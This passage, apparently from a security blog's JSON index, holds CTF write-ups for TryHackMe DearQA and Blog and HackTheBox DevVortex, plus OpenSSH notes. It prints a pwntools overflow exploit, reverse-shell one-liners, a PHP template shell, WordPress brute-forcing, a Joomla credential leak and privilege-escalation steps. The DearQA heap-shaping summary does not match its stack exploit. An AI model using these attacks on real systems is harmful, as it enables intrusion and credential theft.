function!\nNote: Since the ASLR is disabled, the binary contains the exact same memory addresses each time the binary runs. Find function vuln() memory address: We can do this in GDB!\ngef➤ info function vuln All functions matching regular expression \u0026#34;vuln\u0026#34;: Non-debugging symbols: 0x0000000000400686 vuln Exploit Development Armed with the above information, we found:\nWhere the binary causes segmentation fault Found RSP offset: 40 Found function vuln() memory address: 0x0000000000400686 Now, we can write a simple python script to exploit it:\nLocal debug: #!/bin/usr/env python3 from pwn import * Local = True if Local == True: io = process(\u0026#34;./DearQA.DearQA\u0026#34;) else: io = remote(\u0026#34;\u0026lt;target-ip\u0026gt;\u0026#34;, 5700) payload = b\u0026#34;A\u0026#34; * 40 payload += p64(0x0000000000400686) io.recvuntil(b\u0026#34;What\u0026#39;s your name:\u0026#34;) io.sendline(payload) io.interactive() if is not local the text not shows but runs\nthis mean\nlistener:\nnc -lvnp 9001 revshell:\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\nsh -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;vpn-ip\u0026gt;/9001 0\u0026gt;\u0026amp;1 when the listener is connected simply\ncat flag.txt Summary DearQA: shape the heap state, gain the needed write or leak, and pivot to flag access.\n","date":"2024-06-28T01:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-DearQA-Challenge/","protected":null,"snippet":"DearQA: shape the heap state, gain the needed write or leak, and pivot to flag access.","tags":["thm","pwn","bof","format-string","heap","shellcode","linux"],"title":"TryHackMe DearQA Challenge"},{"categories":["machine"],"contents":"https://tryhackme.com/r/room/blog\nAdd Hosts Edit the /etc/hosts file and add the following entries:\n10.10.100.29 blog.thm Script to add hosts automatically ip=\u0026#34;10.10.100.29\u0026#34;;domain=\u0026#34;blog.thm\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Gather Information From WordPress wpscan -e u --url \u0026#34;http://blog.thm/\u0026#34; -e = enumarate u = usernames result users = bjoel,kwheel theme = twentytwenty BruteForce WordPress wpscan --url \u0026#34;http://blog.thm/\u0026#34; --usernames bjoel,kwheel --passwords /usr/share/dict/rockyou.txt --password-attack xmlrpc threads 20 result kwheel:cutiepie1 Exploit to Gain Acces msfconsole use multi/http/wp_crop_rce set password cutiepie1 set username kwheel set rhosts blog.thm set THEME_DIR twentytwenty set lhost tun0 exploit shell Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Extract Password Hash From MySQL cat wp-config.php mysql -u wordpressuser -p show databases; use blog; show tables; select * from wp_users; exit Privilege Escalation find uid binaries\nfind / -type f -perm -u=s 2\u0026gt;/dev/null result vulnerable = /usr/sbin/checker ltrace /usr/sbin/checker result env(admin) this means the program is reading the admin variable\nnow simply run it with the variable admin\nadmin=1 /usr/sbin/checker;/usr/sbin/checker whoami Optional WordPress Password Hash Generator\ngen a password i \u0026rsquo;ve done password\nmysql -u wordpressuser -p show databases; use blog; show tables; select * from wp_users; UPDATE wp_users SET user_pass = \u0026#34;$P$Bq7XDB8Xb/jjexb8e4CIiDw38/2HyO.\u0026#34; WHERE user_nicename=\u0026#34;bjoel\u0026#34;; select * from wp_users; exit now you can login http://blog.thm/wp-login.php with bjoel:password\nFinally cat /root/root.txt cat /media/usb/user.txt Summary Blog: abuse the WordPress foothold, stabilize the shell, and escalate through the local weakness.\n","date":"2024-06-13T03:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-Blog/","protected":null,"snippet":"Blog: abuse the WordPress foothold, stabilize the shell, and escalate through the local weakness.","tags":["thm","windows","linux","wordpress"],"title":"TryHackMe Blog Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.242 devvortex.htb dev.devvortex.htb dev.devvortex.htb was found with a subdomain finder like:\ngobuster dns -d \u0026quot;devvortex.htb\u0026quot; -w subdomains-top1million-5000.txt -t \u0026quot;$(nproc)\u0026quot;\nThis ensures that your system can resolve the domain names devvortex.htb and dev.devvortex.htb to the correct IP address 10.10.11.242.\nScript to add hosts automatically ip=\u0026#34;10.10.11.242\u0026#34; domain=\u0026#34;devvortex.htb dev.devvortex.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV devvortex.htb\nPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DevVortex |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Gather Information From Joomla Use the following command to retrieve information from the specified API endpoint from joomla CVE-2023-23752:\ncurl \u0026#34;http://dev.devvortex.htb/api/index.php/v1/config/application?public=true\u0026#34; -s This command fetches data from the specified URL in silent mode (-s) and displays the output.\nScript to parse user,password from the result USER=$(curl \u0026#34;dev.devvortex.htb/api/index.php/v1/config/application?public=true\u0026#34; -s | jq -r \u0026#39;.data[] | select(.attributes.user) | .attributes.user\u0026#39;) PASSWORD=$(curl \u0026#34;dev.devvortex.htb/api/index.php/v1/config/application?public=true\u0026#34; -s | jq -r \u0026#39;.data[] | select(.attributes.password) | .attributes.password\u0026#39;) DBPREFIX=$(curl \u0026#34;dev.devvortex.htb/api/index.php/v1/config/application?public=true\u0026#34; -s | jq -r \u0026#39;.data[] | select(.attributes.dbprefix) | .attributes.dbprefix\u0026#39;) echo -e \u0026#34;dev.devvortex.htb/administrator webpage credentials:\\n usr: $USER\\n pasw: $PASSWORD\u0026#34; Log in to Joomla Admin Panel Access the Joomla administrator webpage at:\nhttp://dev.devvortex.htb/administrator\nNavigate to System \u0026gt; Administration Templates \u0026gt; index.php and add the following command after \u0026lt;?php:\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\nsystem(\u0026#39;/bin/bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;vpn-ip\u0026gt;/9001 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39;); Then, start a listener on port 9001 to catch the reverse shell:\nnc -lvnp 9001 Trigger the command execution by visiting the administrator webpage:\ncurl -s http://dev.devvortex.htb/administrator/index.php Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Extract Password Hash From MySQL Log in to MySQL using the provided credentials:\nmysql -u \u0026#39;\u0026lt;user\u0026gt;\u0026#39; -p joomla --password=\u0026#39;\u0026lt;password\u0026gt;\u0026#39; Extract the password hash:\nshow tables; select * from sd4fg_users; Brute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 3200 /tmp/hash.txt --show rm -rf /tmp/hash.txt SSH Login with Discovered Password Once you find the password, log in via SSH using the discovered credentials:\nssh logan@devvortex.htb Obtain User Flag Retrieve the user flag by running the following command:\ncat \u0026#34;$HOME/user.txt\u0026#34; Privilege Escalation run sudo -l to find the programs tath can run as root\nExecute the following steps for privilege escalation:\nRun the command: sudo /usr/bin/apport-cli -f send input 1 send input 2 View the report and Wait for approximately 10 seconds. :!/bin/bash This command exploits the less utility to spawn a shell, as described in GTFOBins.\nthis append because apport-cli uses less under the hood and is executed as root.\nObtain Root flag cat /root/root.txt Summary DevVortex: use CVE-2023-23752 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-04-16T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-DevVortex/","protected":null,"snippet":"DevVortex: use CVE-2023-23752 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","joomla","cve-2023-23752"],"title":"HackTheBox DevVortex Writeup"},{"categories":["notes"],"contents":"SSH is the standard OpenSSH workflow for encrypted remote login, command execution, file transfer, port forwarding, and X11 forwarding.\nBasic Use ssh user@host ssh -p 2222 user@host ssh -i ~/.ssh/id_ed25519 user@host ssh -J bastion user@internal-host ssh user@host \u0026#39;uname -a\u0026#39; Useful client checks:\nssh -V ssh -G host | less ssh -vvv user@host ssh -G prints the final client configuration after Host and Match blocks are applied. ssh -vvv is the fastest way to see which keys, algorithms, and authentication methods are being attempted.\nKey Authentication Generate a modern user key:\nssh-keygen -t ed25519 -a 100 -f ~/.ssh/id_ed25519 -C \u0026#34;user@host\u0026#34; Install the public key on the server:\nssh-copy-id -i ~/.ssh/id_ed25519.pub user@host Manual install on the server:\ninstall -d -m 700 ~/.ssh cat /tmp/id_ed25519.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys Load a key into the local agent:\nssh-add ~/.ssh/id_ed25519 ssh-add -l Client-side permissions:\nchmod 700 ~/.ssh chmod 600 ~/.ssh/id_ed25519 chmod 644 ~/.ssh/id_ed25519.pub [ -f ~/.ssh/config ] \u0026amp;\u0026amp; chmod 600 ~/.ssh/config Server-side permissions:\nchmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys chown -R \u0026#34;$USER:$USER\u0026#34; ~/.ssh Client Config Put repeatable settings in ~/.ssh/config:\nHost lab HostName 192.0.2.10 User user Port 22 IdentityFile ~/.ssh/id_ed25519 IdentitiesOnly yes ServerAliveInterval 30 ServerAliveCountMax 3 Jump host:\nHost internal HostName 10.10.10.25 User user IdentityFile ~/.ssh/id_ed25519 ProxyJump bastion Connection reuse:\nHost * ControlMaster auto ControlPath ~/.ssh/cm-%r@%h:%p ControlPersist 10m Server Config Edit /etc/ssh/sshd_config and test before reloading:\nsudo sshd -t sudo systemctl reload ssh || sudo systemctl reload sshd Common key-only server settings:\nPubkeyAuthentication yes PasswordAuthentication no KbdInteractiveAuthentication no PermitRootLogin prohibit-password Restrict login users when the host should only accept named accounts:\nAllowUsers user deploy Keep UsePAM yes on normal Linux distributions unless there is a specific reason to disable PAM-backed account and session handling.\nPublic-Key Failures Permission denied (publickey) usually means the client did not offer the expected key, the server rejected the key, or the target account cannot use the configured authorized_keys file.\nDebug from the client:\nssh -vvv -i ~/.ssh/id_ed25519 -o IdentitiesOnly=yes user@host Check the server logs:\nsudo journalctl -u ssh -u sshd -n 100 --no-pager Check effective server options:\nsudo sshd -T | grep -Ei \u0026#39;pubkey|password|authorizedkeys|permitroot|strictmodes|allowusers\u0026#39; Common fixes:\nchmod go-w ~ chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys chown -R \u0026#34;$USER:$USER\u0026#34; ~/.ssh Also verify:\nThe login user is correct. The public key is in that user\u0026rsquo;s ~/.ssh/authorized_keys. AuthorizedKeysFile points to the expected path. AllowUsers, DenyUsers, AllowGroups, or DenyGroups are not blocking the account. The client is not offering too many keys before the right one. Use IdentitiesOnly yes. The server is not too old for the key or signature algorithm being offered. Tunneling Use -N when the SSH session only exists for forwarding. Add -f only when you want the client to go into the background after authentication.\nLocal Forward Forward a local port to a service reachable from the remote side:\nssh -N -L 127.0.0.1:8080:127.0.0.1:80 user@server Then open http://127.0.0.1:8080 locally. From the server\u0026rsquo;s point of view, the target is 127.0.0.1:80.\nConfig form:\nHost web-tunnel HostName server User user LocalForward 127.0.0.1:8080 127.0.0.1:80 ExitOnForwardFailure yes Remote Forward Expose a local service through the remote server:\nssh -N -R 127.0.0.1:9000:127.0.0.1:3000 user@server On the server, 127.0.0.1:9000 forwards back to the local machine\u0026rsquo;s 127.0.0.1:3000.\nTo bind the remote forwarded port beyond localhost, request an explicit bind address and allow it on the server:\nssh -N -R 0.0.0.0:9000:127.0.0.1:3000 user@server GatewayPorts clientspecified Dynamic Forward Create a local SOCKS proxy:\nssh -N -D 127.0.0.1:1080 user@server curl --socks5-hostname 127.0.0.1:1080 https://example.com Config form:\nHost socks HostName server User user DynamicForward 127.0.0.1:1080 ExitOnForwardFailure yes X11 Forwarding X11 forwarding runs a graphical application on the remote host and displays it through the local X server over SSH.\nClient side:\nLinux desktop sessions usually already provide an X server or Xwayland bridge. macOS needs an X server such as XQuartz. Windows needs an X server such as VcXsrv, Xming, or a terminal package that includes one. Server side, install xauth and the graphical program you want to run:\nsudo apt update sudo apt install xauth x11-apps Enable forwarding in /etc/ssh/sshd_config:\nX11Forwarding yes X11UseLocalhost yes Reload SSH after testing the config:\nsudo sshd -t sudo systemctl reload ssh || sudo systemctl reload sshd Connect with untrusted X11 forwarding:\nssh -X user@host xeyes Use trusted forwarding only for applications that require it:\nssh -Y user@host Troubleshoot with:\necho \u0026#34;$DISPLAY\u0026#34; xauth list ssh -vvv -X user@host Legacy Algorithms Modern OpenSSH disables weak legacy algorithms by default. Prefer fixing or upgrading the old server. If a temporary exception is required, scope it to one host:\nHost old-host HostName old.example User user HostKeyAlgorithms +ssh-rsa PubkeyAcceptedAlgorithms +ssh-rsa Remove the exception after the server supports modern host keys and signatures.\nReferences OpenSSH ssh(1) manual OpenSSH ssh_config(5) manual OpenSSH sshd_config(5) manual OpenSSH legacy options ","date":"2024-04-12T00:10:00+08:00","permalink":"https://x3ric.com/blog/posts/Ssh/","protected":null,"snippet":"Compact OpenSSH reference for key authentication, client and server config, tunneling, X11 forwarding, and public-key troubleshooting.","tags":["notes","ssh","linux"],"title":"SSH"}]